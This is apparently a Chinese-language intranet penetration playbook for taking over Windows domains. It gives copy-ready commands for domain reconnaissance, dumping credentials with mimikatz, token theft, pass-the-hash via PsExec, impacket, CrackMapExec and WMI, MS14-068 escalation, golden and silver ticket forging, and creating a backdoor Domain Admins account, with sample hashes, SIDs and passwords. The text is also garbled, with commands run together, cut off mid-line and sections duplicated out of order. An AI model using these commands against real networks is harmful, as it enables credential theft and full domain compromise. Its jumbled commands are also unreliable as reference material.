内网渗透思路

通过域成员主机,定位出 域控制器 IP 及域管理员账号,利用域成员主机作为跳板,扩大渗透范围,利用域管理员可以登陆域中任何成员主机的特性,定位出域管理员登陆过的主机 IP,设法从域成员主机内存中 dump 出域管理员密码,进而拿下域控制器、渗透整个内网。

内网基础知识

1、工作组:

工作组是 局域网 中的一个概念,他是长久的资源管理模式。默认情况下使用工作组方式进行资源管理,将不同的 computer 按照不同的要求分类到不同的组。

2、域:

用来描述一种架构,和“工作组”相对应,由工作组升级而来的高级架构,域(Domain)是一个有安全边界的计算机集合(安全边界,意思是在两个域中,一个域中的用户无法访问另一个域中的资源)。可以简单的把域理解成升级版的“工作组”,相比工作组而言,它有一个更加严格的安全管理控制机制,如果你想访问域内的资源,就必须拥有一个合法的身份登陆到该域中,而你对该域内的资源拥有什么样的权限,还需要取决于你在该域中的用户身份。

3、域名服务器 DNS

是指用于实现域名和与之相对应的 IP 地址转换 的服务器。而实际上,因为域名的计算机是使用DNS 来定位域控制器、服务器及其他计算机、网络服务的,所以域的名字就是DNS 域的名字。在内网渗透测试中,大都是通过寻找 DNS 服务器来确定域控制器的位置的。

4、域控内部

**NTDS.dit:**域用户帐户以域数据库的形式保存在活动目录中 Ntdsutil.exe-ntdsutil.exe:是域控制器自带的域数据库管理工具,从 windowsServer 2008 开始就默认自带了。因此我们可以通过 ntdsutil.exe 提取出域中所有的域用户信息

5、活动目录

帐号集中管理:所有帐号均存在服务器上,方便对帐号的重命名/重置密码。软件集中管理:统一推送软件,统一安装网络打印机等。利用软件发布策略分发软件,可以让用户自由选择安装软件。环境集中管理:利用 AD 可以统一客户端桌面,IE,TCP/IP 等设置。增强安全性:统一部署杀毒软件和扫毒任务,集中化管理用户的计算机权限、统一制订用户密码策略等,可监控网络,资料统一管理。更可靠:更少的宕机时间。如:利用 AD 控制用户访问权限,利用群集、负载均衡等技术对文件服务器进行容灾设定,更可靠,宕机时间更少。活动目录为 Microsoft 统一管理的基础平台,其它 ISA、Exchange、SMS 等服务都依赖于这个基础平台。

域信息收集

一、常用命令

query user || qwinsta 查看当前在线用户net user 查看本机用户net user /domain 查看域用户net view & net group "domain computers" /domain 查看当前域计算机列表 第二个查的更多net view /domain 查看有几个域net view \\\\dc 查看 dc 域内共享文件net group /domain 查看域里面的组net group "domain admins" /domain 查看域管net localgroup administrators /domain /这个也是查域管,是升级为域控时,本地账户也成为域管net group "domain controllers" /domain 域控net time /domainnet config workstation 当前登录域 - 计算机名 - 用户名net use \\\\域控(如 pc.xx.com) password /user:xxx.com\username 相当于这个帐号登录域内主机,可访问资源ipconfig

二、查找域服务器

三、查询域控

ping darkid.hack.comnslookup darkid.hack.com

四、主机发现

arp -a 查询通信nbtscan 发现主机nbtscan.exe -r 192.168.0.1/24

bat命令发现主机

for /l %i in (1,1,255) do @ping 192.168.0.%i -w 1 -n 1|find /i "ttl="

通过powershell脚本扫描

powershell.exe -exec bypass -Command "Import-Module ./Invoke-TSPingSweep.ps1;Invoke-TSPingSweep StartAddress 192.168.1.0 -En脚本下载地址:https://gallery.technet.microsoft.com/scriptcenter/Invoke-TSPingSweep-b71f1b9b#针对单个 IP 的多个端口的扫描:1..1024 | % {echo ((new-object Net.Sockets.TcpClient).Connect("192.168.246.44",$_)) "Port $_ is open!"}2>$null#针对某 IP 段中单个端口的扫描:foreach ($ip in 1..20) {Test-NetConnection -Port 80 -InformationLevel "Detailed" 192.168.1.$ip}#针对某 IP 段 & 多个端口的扫描器1..20 | % { $a = $_; 1..1024 | % {echo ((new-object Net.Sockets.TcpClient).Connect("10.0.0.$a",$_)) "Port $_ is open!"} 2>$

使用MSF进行扫描

使用 msf 进行反弹 shell 进行内网渗透时,通过 msf 自带的扫描模块进行快速扫描。#主机存活探测:auxiliary/scanner/discovery/arp_sweep ARP 扫描auxiliary/scanner/discovery/udp_sweep UDP 扫描auxiliary/scanner/netbios/nbname NETBIOS 扫描auxiliary/scanner/snmp/snmp_enum SNMP 扫描auxiliary/scanner/smb/smb_version SMB 扫描#端口扫描:auxiliary/scanner/portscan/ack TCP ACK 端口扫描auxiliary/scanner/portscan/ftpbounce FTP bounce 端口扫描auxiliary/scanner/portscan/syn SYN 端口扫描auxiliary/scanner/portscan/tcp TCP 端口扫描auxiliary/scanner/portscan/xmas TCP XMas 端口扫描

内网渗透中的token

概述:令牌(token)是系统的临时秘钥,相当于账号和密码,用来决定是否允许这次请求和判断这次请求是属于哪一个用户的。它允许你在不提供密码或其他凭证的前

提下,访问网络和系统资源,这些令牌将持续存在于系统中,除非系统重新启动。令牌最大的特点就是随机性,不可预测,黑客或软件无法猜测出令牌。

net time #查询域中的时间,会请求域控net config workstation #查看当前工作环境nltest /dclist:域后缀 #查询域控
powershell.exe -exec bypass -Command "Import-Module ./Invoke-TSPingSweep.ps1;Invoke-TSPingSweep StartAddress 192.168.1.0 -En脚本下载地址:https://gallery.technet.microsoft.com/scriptcenter/Invoke-TSPingSweep-b71f1b9b

#针对单个 IP 的多个端口的扫描:

1..1024 | % {echo ((new-object Net.Sockets.TcpClient).Connect("192.168.246.44",$_)) "Port $_ is open!"}

#针对某 IP 段中单个端口的扫描:

foreach ($ip in 1..20) {Test-NetConnection -Port 80 -InformationLevel "Detailed" 192.168.1.$ip}

#使用 msf 进行反弹 shell 进行内网渗透时,通过 msf 自带的扫描模块进行快速扫描。#主机存活探测:

auxiliary/scanner/discovery/arp_sweep ARP 扫描auxiliary/scanner/discovery/udp_sweep UDP 扫描auxiliary/scanner/netbios/nbname NETBIOS 扫描auxiliary/scanner/snmp/snmp_enum SNMP 扫描auxiliary/scanner/smb/smb_version SMB 扫描

#端口扫描:

auxiliary/scanner/portscan/ack TCP ACK 端口扫描auxiliary/scanner/portscan/ftpbounce FTP bounce 端口扫描auxiliary/scanner/portscan/syn SYN 端口扫描auxiliary/scanner/portscan/tcp TCP 端口扫描auxiliary/scanner/portscan/xmas TCP XMas 端口扫描

一、描述

1、攻击手段

假冒令牌可以假冒一个网络中的另一个用户进行各类操作。所以当一个攻击者需要域管理员的操作权限时候,需要通过假冒域管理员的令牌进行攻击。

2、令牌的种类

访问令牌(Access Token):表示访问控制操作主体的系统对象

会话令牌(Session Token):是交互会话中唯一的身份标识符

密保令牌(Security Token):又叫做认证令牌或硬件令牌,是一种计算机身份校验的物理设备,例如 U 盾

3、Windows的access token的类型

delegation token:授权令牌,支持交互式会话登录

impersonation token:模拟令牌,非交互式令牌

【注】两种 token 只在系统重启后清除 具有 Delegation token 的用户在注销后,该 Token 将变成 Impersonation token,依旧有效。

二、AccessToken 的窃取与利用

1、前提

AccessToken 的窃取与利用需要 administrator 管理员权限。

2、窃取access token的方法

incognito.exe 程序

InvokeTokenManipulat.ps1 脚本

MSF 里的 incognito 模块

3、incognito

程序地址:https://labs.mwrinfosecurity.com/assets/BlogFiles/incognito2.zip

4、msf窃取token

横向渗透

一、PTH(pass the hash)

概述:pass-the-hash 在内网渗透中是一种很经典的攻击方式,原理就是攻击者可以直接通过 LM Hash 和 NTLM Hash 访问远程主机或服务,而不用提供明文密码。

1、pass the hash的原理

在Windows系统中,通常会使用NTLM身份认证

#AccessToken 的列举

incognito.exe list_tokens -u

#操作

incognito.exe execute -c "完整的 Token 名" cmd.exeincognito.exe execute -c "NT AUTHORITY\SYSTEM" cmd.exeuse incognito #加载 incognitolist_tokens -u #列出 AccessTokengetuid #查看当前 tokenimpersonate_token "NT AUTHORITY\SYSTEM" #模拟 system 用户,getsystem 命令即实现了该命令。如果要模拟其他用户,将 token 名改为其他用户即

ps #列出进程pid

steal_token 1252 #从进程窃取 tokengetsystem #提升至 system 权限rev2self #返回到之前的 AccessToken 权限

 NTLM认证不使用明文口令,而是使用加密后的hash值,hash值由系统API生成

hash分为LM hash 和NTLM hash,如果密码大于15位则无法生成LM hash,从2008以后微软禁用LM hash

攻击者获取了hash,就可以在身份认证的时候模拟该用户(跳过调用API生成hash的过程)

2、适用范围

域环境/工作组环境

可以获取hash,但是条件是不允许爆破hash

内网中存在和当前机器相同的密码

3、关于微软补丁和禁用

在打了补丁后,常规的 Pass The Hash 已经无法成功,唯独默认的 Administrator(SID 500)账号例外,利用这个账号

仍可以进行 Pass The Hash 远程 ipc 连接。

如果禁用了 ntlm 认证,PsExec 无法利用获得的 ntlm hash 进行远程连接,但是使用 mimikatz 还是可以攻击成功。

从 windows 到 windows 横向 pth 这一类攻击方法比较广泛。

4、攻击

使用mimikatz

得到hash后

成功后 会弹出终端 cmd。此时的cmd中以及导入了hash可以进行ipc等连接

二、Psexec

1、概述

psexec 是 windows 官方自带的,不会存在查杀问题,属于 pstools 利用 PsExec 可以在远程计算机上执行命令,其基本原理是通过管道在远程目标主

机上创建一个psexec 服务,并在本地磁盘中生成一个名为 PSEXESVC 的二进制文件,然后通过psexec 服务运行命令,运行结束后删除服务。

2、条件

利用 SMB 服务可以通过明文或 hash 传递来远程执行,条件 445 服务端口开放。对方开放 445 端口,就相当于开放了 smb 协议。且防火墙要关闭

3、明文连接

4、hash连接

出现错误的情况可以使用impacket工具包下的psexec连接

privilege::debugsekurlsa::logonpasswordsmimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit"> password.txtprivilege::debugsekurlsa::pth /user:administrator /domain:workgroup /ntlm:32ed87bdb5fdc5e9cba88547376818d4

#命令

PsExec64.exe /accepteula /s \\192.168.0.123 -u Administrator -p 123456cmdPsExec.exe /accepteula /s \\192.168.0.141 -u Administrator -p 123456 cmd /c "ipconfig"

#参数

-accepteula 第一次运行 PsExec 会弹出确认框,使用该参数就不会弹出确认框-s 以 System 权限运行远程进程,如果不用这个参数,就会获得一个对应用户权限的 shell直接直接执行回显-u 域\用户名-p 密码

#命令

psexec -hashes aad3b435b51404eeaad3b435b51404ee:32ed87bdb5fdc5e9cba88547376818d4 ./Administrator@192.168.0.123

5、psexec注意事项

需要远程系统开启 admin$ 共享(默认是开启的)

因为 PsExec 连接的原理是基于 IPC 共享,因此目标需要开放 445 端口

在使用 IPC$ 连接目标系统后,不需要输入账户和密码。

在使用 PsExec 执行远程命令时,会在目标系统中创建一个 psexec 的服务,命令执行完后,psexec 服务将被自动删除。由于创建或删除服务时会

产生大量的日志,因此蓝队在溯源时可以通过日志反推攻击流程。

使用 PsExec 可以直接获得 System 权限的交互式 Shell 的前提目标是administrator 权限的 shell

在域环境测试时发现,非域用户无法利用内存中的票据使用 PsExec 功能,只能依靠账号和密码进行传递。

6、登陆域管理命令

impacket 下的 psexec

python3 psexec.py darkid/Administrator@192.168.0.142

执行命令后输入密码

登陆其他主机管理员

psexec /accepteula /s \12server1 -u Administrator -p 123456 cmd

三、msf的smb连接

1、使用

2、crackmapexec

CrackMapExec 可以对 C 段中的主机进行批量 pth,

项目地址:https://github.com/byt3bl33d3r/CrackMapExec.git

使用命令

四、WMI横向

1、概述

WMI 全称 Windows Management Instrumentation 即 Windows 管理工具,Windows 98 以后的操作系统都支持 WMI。由于 Windows 默认不会将 WMI 的操作记录在日志里,同时现在越来越多的杀软将PsExec 加入了黑名单,因此 WMI 比 PsExec 隐蔽性要更好一些。WMI 连接远程主机,并使用目标系统的 cmd.exe 执行命令,将执行结果保存在目标主机 C 盘的 ip.txt 文件中

2、条件 

使用 WMIC 连接远程主机,需要目标主机开放 135 和 445 端口( 135 端⼝是 WMIC 默认的管理端⼝,wimcexec 使⽤445 端⼝传回显

python3 psexec.py -hashes aad3b435b51404eeaad3b435b51404ee:32ed87bdb5fdc5e9cba88547376818d4 ./Administrator@192.168.0.123use exploit/windows/smb/psexecset SMBUser Administratorset rhosts 192.168.0.141set smbpass aad3b435b51404eeaad3b435b51404ee:32ed87bdb5fdc5e9cba88547376818d4runcrackmapexec smb 192.168.0.0/24 -u administrator -H 32ed87bdb5fdc5e9cba88547376818d4对 192.168.9.0/24 C 段进行批量 pass the hash

3、wmi使用命令

通过wmi执行ipconfig命令

建立ipc连接,读取内容

4、wmiexec.py利用

在 impacket 工具包里有 wmiexec.py 脚本,执行 whoami 命令

【注】wmiexec.py 的 hash 参数格式为 LM Hash:NT Hash aad3b435b51404eeaad3b435b51404ee 这个部分可以随便填写

wmiexec.py 明文获取 shell

5、powershell的wmi

Invoke-WmiCommand

Invoke-WMIMethod

6、wmic 的其他命令

使用 wmic 远程开启目标的 RDP

wmic /node:192.168.0.123 /user:administrator /password:123456 process call create "cmd.exe /c ipconfig > c:\ip.txt"
net use \\192.168.0.123\ipc$ "123456" /user:administratortype \\192.168.0.123\c$\ip.txt
python3 wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:32ed87bdb5fdc5e9cba88547376818d4 Administrator@192.168.0.141 "whoami
python3 wmiexec.py administrator:123456@192.168.0.123

Invoke-WmiCommand.ps1 是 PowerSploit 工具包里的一部分,该脚本是利用Powershell 调用 WMI 来远程执行命令。在 Powershell 中运行以下命令

# 导入 Invoke-WmiCommand.ps1 脚本

Import-Module .\Invoke-WmiCommand.ps1

# 指定目标系统用户名

$User = ".\administrator"

# 指定目标系统的密码

$Password = ConvertTo-SecureString -String "123456" -AsPlainText -Force

# 将账号和密码整合起来,以便导入 Credential

$Cred = New-Object -TypeName System.Management.Automation.PSCredential-ArgumentList $User,$Password

# 指定要执行的命令和目标 IP

$Remote = Invoke-WmiCommand -Payload {ipconfig} -Credential $Cred -ComputerName 192.168.0.123

# 将执行结果输出到屏幕上

$Remote.PayloadOutput

Invoke-WMIMethod 是 PowerShell 自带的一个模块,也可以用它来连接远程计算机执行命令和指定程序。

# 指定目标系统用户名

$User=".\administrator"

# 指定目标系统密码

$Password=ConvertTo-SecureString -String "123456" -AsPlainText -Force

# 将账号和密码整合起来,以便导入 Credential 中

$Cred=New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList $User,$Password

# 在远程系统中运行 calc.exe 命令

Invoke-WMIMethod -Class Win32_Process -Name Create -ArgumentList "calc.exe" -ComputerName "192.168.0.123" -Credential $Cred

# 适于 Windows xp、server 2003

wmic /node:192.168.7.7 /user:administrator /password:123456 PATH win32_terminalservicesetting WHERE (__Class!="") CALL SetAllowT

判断 RDP 有没有开可以使用以下命令,如果返回 0 表示开启,返回 1 表示关闭。

远程重启

票据传递攻击(PTT)

一、域内常用的两种攻击方式:

1、黄金票据 Golden ticket

2、白银票据 Silver ticket

二、金票 Golden ticket

1、原理

在 Kerberos 认证中,Client 通过 AS(身份认证服务)认证后,AS 会给 Client 一个Logon Session Key 和 TGT,而 Logon Session Key 并不会保存在 KDC

中,krbtgt 的NTLM Hash 又是固定的,所以只要得到 krbtgt 的 NTLM Hash,就可以伪造 TGT 和Logon Session Key 来进入下一步 Client 与 TGS 的交

互。而已有了金票后,就跳过AS 验证,不用验证账户和密码,所以也不担心域管密码修改。

2、特点

不需要与 AS 进行交互,需要用户 krbtgt 的 Hash

3、伪造凭据,提升域内普通用户的权限(MS14-068)

以一个本地 administrator 用户登录域内的一个主机中。

通过命令:net config workstation,获取域信息

通过命令:nltest /dsgetdc:域名,获取DC主机名

上传 mimikatz,以管理员权限运行 CMD,再去执行 mimikatz

利用 MS14-068 来提权,先检查下是否有 MS14-068, CVE 编号 CVE-2014-6324,补丁为 3011780 :systeminfo |find “3011780”,如果返回为空就

说明没有打补丁,存在漏洞,需要注意的是域内普通用户提权成功后是有时效性的。

上传 mimikatz 和 MS14-068 提权工具,whoami /user 或者 whoami/all 查看 test用户的 SID

使用 MS14-068 伪造票据

使用方法

# 适于 Windows 7、8、10,server 2008、2012、2016,注意 ServerName 需要改为目标的 hostname

wmic /node:192.168.0.123 /user:administrator /password:123456 RDTOGGLE WHERE ServerName='计算机名' call SetAllowTSConnections 1

#或者

wmic /node:192.168.0.123 /user:administrator /password:123456 process call create 'cmd.exe /c REG ADD "HKLM\SYSTEM\CurrentContro
REG QUERY "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnectionswmic /node:192.168.0.141 /user:administrator /password:123456 process call create "shutdown.exe -r -f -t 0"mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit">log.txt

#执行命令:

ms14-068.exe -u test@moonhack.com -p 123456 -s S-1-5-21-3439616436-2844000184-3841763578-1105 -d 08server-ad.moonhack.com,ms14-068.exe -u 域成员名@域名 -p 域成员密码 -s 域成员 sid -d 域控制器地址使用 mimikatz 清空之前缓存的凭证,导入伪造的凭证:mimikatz # kerberos::purge //清空票据mimikatz # kerberos::ptc 票据文件地址

再输入 dir \08server-ad.moonhack.com\c$,发现访问成功,现在我们有域管的权限

添加域管账号密码

4、伪造金票

条件

使用一下命令导出用户 krbtgt 的 hash:

利用 mimikatz 生成金票生成.kirbi 文件并保存

5、金票的使用

登录域内普通用户,通过 mimikatz 中的 kerberos::ptt 功能将 ticket.kirbi 导入内存中。

ipc连接访问

三、银票 Silver ticket

1、原理

如果说黄金票据是伪造的 TGT,那么白银票据就是伪造的 ST。在 Kerberos 认证的第三部,Client 带着 ST 和 Authenticator3 向 Server 上的某个服务进

行请求,Server 接收到 Client 的请求之后,通过自己的 Master Key 解密 ST,从而获得 Session Key。通过 Session Key 解密 Authenticator3,进而验证对

方的身份,验证成功就让 Client 访问 server 上的指定服务了。所以我们只需要知道 Server 用户的 Hash 就可以伪造出一个 ST,且不会经过 KDC,但是伪

造的门票只对部分服务起作用。

2、特点

不需要与 KDC 进行交互

需要 server 的 NTLM hash

3、kekeo伪造银票

net user moonsec123 Qwe123... /add /domainnet group "Domain Admins" moonsec123 /add /domain

1、域名称

2、域的 SID 值

3、域的 KRBTGT 账号的 HASH

4、伪造任意用户名

mimikatz(commandline) # privilege::debugmimikatz(commandline) # lsadump::dcsync /domain:moonhack.com /all /csv或 lsadump::lsa /injectmimikatz(commandline) # lsadump::dcsync /domain:moonhack.com /user:krbtgtmimikatz.exe "privilege::debug" "lsadump::dcsync /domain:moonsec.fbi /all /csv" "exit">loghash.txtmimikatz.exe "kerberos::golden /admin:system /domain:moonhack.com /sid:S-1-5-21-3439616436-2844000184-3841763578 /krbtgt:4c1d576

/admin:伪造的用户名

/domain:域名称

/sid:SID 值,注意是去掉最后一个-后面的值

/krbtgt:krbtgt 的 HASH 值

/ticket:生成的票据名称 //不是写入内存中的命令!

mimikatz # kerberos::purgemimikatz # kerberos::ptt C:\Users\test\ticket.kirbidir \\08server1.moonhack.com\c$

四、金票和银票的区别

1、获取的权限不同

金票:伪造的 TGT,可以获取任意 Kerberos 的访问权限

银票:伪造的 ST,只能访问指定的服务,如 CIFS

2、认证流程不同

金票:同 KDC 交互,但不同 AS 交互

银票:不同 KDC 交互,直接访问 Server

3、加密方式不同

金票:由 krbtgt NTLM Hash 加密

银票:由服务账号 NTLM Hash 加密

#制作

tgt::ask /user:administrator /domain:moonsec.fbi /ntlm:42e2656ec24331269f82160ff5962387// tgt::ask /user:用户名 /domain:域名 /ntlm:NTLM Hash

#导入

kerberos::ptt TGT_administrator@MOONSEC.FBI_krbtgt~moonsec.fbi@MOONSEC.FBI.kirb